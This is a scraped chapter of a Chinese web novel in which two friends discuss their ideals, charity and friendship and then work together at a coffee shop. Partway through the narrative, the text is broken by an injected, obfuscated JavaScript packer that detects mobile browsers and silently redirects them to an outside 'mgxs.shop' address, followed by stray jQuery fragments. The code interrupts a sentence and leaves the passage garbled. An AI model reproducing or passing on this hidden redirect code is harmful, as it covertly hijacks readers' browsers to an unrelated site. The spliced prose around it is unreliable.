文趣网 > 都市小说 > restore > 10. 理想
    有一回,阮情问周崎——你的理想是什么?

    周崎不假思索地回答:“变有钱。”

    阮情说:“这个理想不做数。”

    周崎问:“你不是问我理想吗?这就是我的理想。”

    阮情说:“没有人不喜欢钱。”顿了顿:“喜欢钱也能当做理想吗?这不是是一个人就会爱上的程度吗?理想就跟梦想一样,但也不完全一样。理想可以很大很大,很丰满,即使做不到也没关系。梦想就不行了,梦想得结合实际,经济状况,七七八八的,老古板了——周崎,普通人想完成一个丰功伟绩是很难很难的。即要人脉又要经济。我听过好多好多人对自己的孩子说:你长大了得当老板。”

    周崎蹙眉:“我不喜欢这句话。你想要你的孩子长大了当老板,你却没能力托举他,也没门路,你就只会天天嘴上说说。也从未问过你的孩子长大了想做什么?孩子若说我长大了想当一名建筑工、厨师、农民,他们马上就会收到一句贬低的话。最后,他们也不知道自己能做什么,最可怕的是后来有些人出现了妄想症。”

    阮情说:“没错。”

    周崎懂了,阮情铺垫这么多是想告诉她快点迷途知返,不要坠入虚无。须臾,她微微一笑:“谢谢关心,我不会变成那样的。我所说我的理想是变有钱,其实也就十来万。”

    阮情惊了:“都是理想了,怎么不多想想,比如几亿,几十亿啊,上百亿啊,怎么这么苛刻自己啊。”

    周崎说:“阮情,普通人一年都赚不到十来万,存款甚至不到一万,家里谁生个大病就能倾家荡产,砸锅卖铁,还有些人连温饱都成问题。所以我想不到。”

    阮情担心:“你缺钱了?怎么不告诉我?!”

    周崎说:“不缺。”

    阮情松了口气,嘻嘻道:“一会你把你的卡号发给我。”

    阮情是个大方的人,周崎知道她想给她打钱,阮情不问原因,朋友需要她在她能承受的范围内她都会满足朋友的需求。但人与人之间交友,周崎不希望涉及到金钱,对于周崎而言友情是神圣的,一但涉及到金钱就变味了,所以,周崎一听到阮情要打钱给她,她便果断拒绝:“我不要你的钱。”

    阮情疑惑:“这不是你的理想吗?你不想快点完成你的理想吗?”

    周崎说:“当然想,但是我不能要你的钱。”

    阮情问:“我们不是朋友吗?”

    周崎说:“就因为我们是朋友,所以我就更不能拿你的一分一毫了。”

    阮情快被周崎给转晕了,她揉了揉太阳穴,问:“周崎,你的理想是十几万,我给你,你却不要,但你现在也不缺钱,我能问问你要那十几万做什么吗?”

    周崎道:“帮助那些得了重病却没钱医治的人,资助那些没钱读书的女孩子,给那些无家可归的人一个家,想过开一家不收费的养老院专门收那些不要的老弱病残。”笑了:“我记得我初中的时候,网络上有个视频很火很火,不同地区,互不相识的人,在那个写着《陌生人父母互相条约》的视频的评论区里,自愿签署了这份条约,因此,形成了这份理想。”

    阮情发至内心地道:“好酷。”

    周崎:“就这样我们不约而同的肩负上了一份条约。”

    阮情捧着咖啡,抿了一口:“我也加入。”

    —

    今日烈阳当空,鸟儿扑腾着翅膀停在电线杆上,街上行人往来,汽车堵的水泄不通,喇叭声此起彼伏,老大爷坐在檐下下棋,大妈领着大红色塑料桶从门扇中走了出来,在门前架起的竿子上晾衣服,时而说上几句闲话。

    周崎从她们身边擦过,顿了顿,钻进了其中的一扇门内。这是一家零食铺子,零嘴有限都被宽在一个玻璃柜里,看店的是一位白发苍苍,满脸皱纹的老爷爷,莫约六七十岁的年级了,整个人身姿板直,鼻梁上架着一副老花镜,无比认真地看着镶嵌在墙面上的电视。

    电视播完,跳转到了广告,周崎才出声:“你好,我要一个面包,和一瓶牛奶,还要一包辣条。”

    “……”

    少顷,老爷爷换了个频道,继续观看,周崎:“……”

    正当要放弃转身就走时,身后响起了一道洪亮的声音:“老头子,顾客都站在你面前了!你还在这儿看电视啊?”

    周崎被这突如其来的声音,吓了一大跳,倏地回头。只见一位大妈雷厉风行的从她身边擦过,周崎寻身看去,大妈绕到零食柜前,问:“买什么?”

    周崎重复道:“面包,牛奶,辣条。”

    大妈弯腰拉开柜门,拿出牛奶和面包,以及辣条。周崎点着硬币放在桌上,拿上东西就走了。衣服晒完了,桶放在一边,人坐在塑料椅上。

    周崎站在旁边扒拉着手机。

    今日气温高达28摄氏度,人即使不站在阳光下,也会起一身汗。天空蓝蓝的,远处群山,宛如波浪线般起起伏伏,微风拂过,连带着几番话而来。

    周崎一怔,扭过头去又转了回来,当做无事发生。

    左边大妈哎呀道:“我女儿30好几的人了,连男朋友都没有,昨儿她爸领她去相亲,她还不高兴呢?在饭桌上跟她爸大吵了一架,甩脸子的走了,差点把她爸气进医院。回家我就说她了,长大了,翅膀硬了也会跟大人顶嘴了,我说一句她顶我十句,说为什么不告诉她是去相亲,告诉她她去吗?操心死我了。好几个跟她年龄相仿的姑娘都抱两娃了,再大一点,都没人要了,你知道她跟我说啥子嘛?”

    右边嗑瓜子的大妈奇道:“说啥子嘞。”

    左边气道:“男人只会影响她理想的进程,是她成功路上的绊脚石。说我和她爸现在都花她的钱,结婚了在经常往家里打钱婆家指不定要闹。现在和和美美的没有男人闹腾不好吗?说我看不得她好过。说我经常跟她爸吵架,看不得她好,你说说这孩子读了这么多年书都白读了,哪有妈妈见不得自己孩子过的好啊。”

    车靠边停下,周崎看了眼车牌,没错,拉开车门坐了上去,不等司机开口,她自觉报:“9678。”

    应急发动,树木、房屋嗖的一下后退。

    昨日,阮情说完那句便起身离开,走到门口时突然停了下来,说:“周崎,咖啡店需要你。”

    周崎明白:“好。”

    阮情说:“明天见。”

    咖啡店人数寥寥无几,店员倚在吧台边沿儿玩手机,阮情面前横着iPad,周崎猜想,阮情可能又在看什么催泪欲滴的狗血剧了,男主应当又是堪称龙傲天般的男人,有钱有权,女主的人设可能又是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648782|206844||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    百八十年不变,放在如今依旧很吃香的娇弱乖乖女形象。

    “为什么呢?”周崎曾问阮情,“女主为什么不可以是独当一面的女强人呢?”

    周崎记得当时阮情是这么回答她的。她说:“这个人设不太吃香,大家想看的都是什么男主酥,女主弱,就是女主好带入嘛,你懂吧。”

    周崎单纯道:“不懂。为什么要带入女主呢?她不是一个个体吗?又不是细胞能无限分化。”

    阮情无奈道:“她们爱男主啊。”

    周崎强调道:“男主不是女主的吗。”

    阮情道:“但是她们爱啊。”

    周崎固执道:“男主是女主的啊。”

    阮情道:“你无法改变一个人的思想,只有等她自己明白过来对错。”顿了顿:“你永远也叫不醒一个装睡的人。”

    周崎思绪拉回,她走到吧台前站定,店员瞅见周崎点了点头,然后收起手机,看着她二人。周崎站在阮情面前好半晌,阮情依旧看着电视傻笑或是伤心,并没有察觉到面前多了一个人。想到一会儿要做什么,周崎就想笑,她佯装镇定地敲了敲桌子,说:“伙计,来杯拿铁。”

    阮情起身道:“看你是熟客,给你多加点牛奶吧。”

    周崎忙叫住:“别真去做啦。”

    阮情:“那换上衣服开始工作吧。”

    周崎:“你咋看到我一点也不惊讶呢,这么笃定我一定会来。”

    阮情说:“你进来的那一瞬间我就看到你了,我不是笃定,而是赌定你一定会来。吃早饭了没?”

    周崎:“吃了。”

    阮情猜:“面包,牛奶,辣条。”

    周崎:“嗯。”

    阮情:“不会又把辣条夹到面包里了吧。周崎我跟你说了多少遍了这么吃,你肠胃迟早有一天会受不了的。”

    周崎不想听阮情说教,即使是对她好的。她抬脚往吧台后面用帘子拉起来的储物间走去。

    阮情掀帘子走了进来,道:“我那是在对你好。”

    “我知道,但这破习惯一朝一夕是很难改的,我需要时间。”周崎拿下搭在货架上的衣服往身上套,从兜里摸出发网包住头发,扣上帽子,“好啦,请你吃漂亮饭别生气啦。”

    阮情严肃:“这不是一餐饭的事情,这是关乎到你身体健康的大事。”

    周崎怔愣,须臾,笑道:“好啦,好啦。我知道了。没有下一次了,别气了,生气伤身体,不值得。”

    阮情看了她一眼。

    周崎领会到了,立即改口:“值得,值得。”

    掀开帘子阮情,周崎一前一后的走了出去。

    夏日炎炎,空调冷风吹的人打哆嗦,周崎捧着杯热饮酌。阮情拿起遥控器把温度调高了一点,什么也没说,继续追剧。周崎站在阮情旁边,问:“上次你问我我的理想是什么,我说了。现在你能告诉我,你的理想是什么吗?”

    阮情往屏幕上随便点了几下,暂停。她转身,抬头看着周崎道:“愿世界和平。愿国家昌盛繁荣。愿大家都能吃饱饭。愿世间没有苦难。”

    “愿我们永远是朋友。”

    “愿49年我们都能站在天安门广场看隆重的升旗仪式。”

    周崎斩钉截铁地道:“当然。”